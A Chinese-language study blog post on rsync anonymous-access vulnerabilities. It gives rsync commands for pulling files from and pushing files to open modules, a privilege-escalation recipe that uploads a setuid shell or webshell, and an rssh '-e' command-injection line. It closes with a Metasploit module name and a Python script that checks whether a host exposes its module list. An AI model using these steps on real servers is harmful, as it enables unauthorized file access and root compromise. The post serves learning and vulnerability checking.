前言
前两天总结了互联网或者说IT公司内网常见的漏洞,然后决定针对还没学习过不了解的漏洞进行学习了解,所以准备一一针对来研习,今天是第一篇,立一个Flag,争取今年搞定,为啥说的这么艰难,因为平时工作忙,不一定每周都有时间研究,说一下,常见的WEB类漏洞,弱口令漏洞就不在赘述了,不算在此次学习之列
Rsync简介
什么是Rsync
Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。
什么是Rsync的匿名访问
匿名访问很简单,不需要用户名,不需要身份验证的所有信息(包括各种口令、公私钥、生物学特征等等),简而言之就是一句话,没有任何访问控制,直接可以访问
一般危害
下载:#rsync -avz a.b.c.d::path/file path/filiname
上传:#rsync -avz path/filename a.b.c.d::path/file
提权操作
#chmod a+s shell
#rsync -avz shell a.b.c.d::path/file
*查看shell权限不变,运行后提权到root,也可以尝试上传webshell*
rssh
此外rssh-2.3.3-3没有正确过滤-e选项,可能导致问题。
#rsync -e./script.sh a.b.c.d::/tmp--server ./
漏洞验证
- Metaspolit的auxiliary/scanner/rsync/modules_list
- python脚本
# -*- coding:utf-8 -*-
"""
Rsync匿名访问漏洞(未授权访问漏洞)验证工具
"""
#引入依赖的包和库文件
import os
import sys
import socket
import logging
#全局配置设置
logging.basicConfig(level=logging.INFO,format="%(message)s")
socket.setdefaulttimeout(3)
#全局变量
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#全局函数:
def str2Binary(content):
"""将文本流转换成二进制流"""
return content.replace(' ','').replace('
','').decode('hex')
def rsyncCheck(ip,port):
"""执行端口预检查"""
global client
try:
client.connect((ip,port))
except Exception,reason:
logging.error("[-] 访问失败:%s"%reason)
return False
helloString = "405253594e43443a2033312e300a"
try:
client.send(str2Binary(helloString))
hellodata = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失败:%s"%reason)
return False
if hellodata.find("@RSYNCD") >= 0:
try:
client.send(str2Binary("0a"))
except Exception,reason:
logging.error("[-] 访问失败:%s"%reason)
return False
while True:
try:
data = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失败:%s"%reason)
if data == "":
break
else:
if str(data).find("@RSYNCD: EXIT") >= 0:
logging.info("[*] 发现漏洞!")
return True
return False
if __name__ == "__main__":
ip = sys.argv[1]
try:
port = sys.argv[2]
except Exception,reason:
port = 873
logging.error("[-] 端口未输入,按照873默认端口进行")
try:
port = int(port)
except Exception,reason:
logging.error("[-] 端口输入错误,按照873默认端口进行")
port = 873
if not rsyncCheck(ip,port):
logging.info("[+] 测试安全!")